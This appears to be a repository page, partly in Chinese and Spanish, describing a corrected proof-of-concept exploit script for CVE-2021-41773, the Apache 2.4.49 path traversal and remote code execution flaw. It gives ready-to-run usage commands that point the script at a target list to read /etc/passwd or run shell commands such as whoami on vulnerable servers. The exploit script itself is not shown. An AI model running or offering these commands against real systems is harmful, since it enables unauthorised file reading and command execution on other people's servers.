CVE-2021-41773 PoC — Apache HTTP Server 路径遍历漏洞

Description

CVE-2021-41773 

介绍

# Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) Exploit (Fixed Version)

## Descripción

Este es un exploit para la vulnerabilidad de Apache HTTP Server 2.4.49 identificada como **CVE-2021-41773**. La versión original del exploit publicada en [Exploit-DB](https://www.exploit-db.com/exploits/50383) contenía errores de sintaxis y ejecución, por lo que esta versión ha sido corregida para garantizar su correcto funcionamiento en entornos Linux.

## Correcciones realizadas
- Se corrigió la sintaxis incorrecta en la estructura `if`.
- Se corrigió el bucle `for` para asegurar su correcta ejecución.
- Se agregó validación adecuada de los argumentos.
- Se mejoró la legibilidad y el manejo de errores.
- Se incluyó una verificación de permisos y ejecución.

## Uso

```bash
chmod +x PoC.sh
./50383.sh targets.txt /etc/passwd
```

### Ejemplo de Uso
#### Archivo `targets.txt` (lista de objetivos):
```
http://192.168.1.100
http://vulnerable-site.com
```

#### Ejecución del exploit para leer `/etc/passwd`:
```bash
./50383.sh targets.txt /etc/passwd
```

#### Ejecución del exploit para ejecutar un comando en el sistema objetivo:
```bash
./50383.sh targets.txt /bin/sh whoami
```

文件快照

备注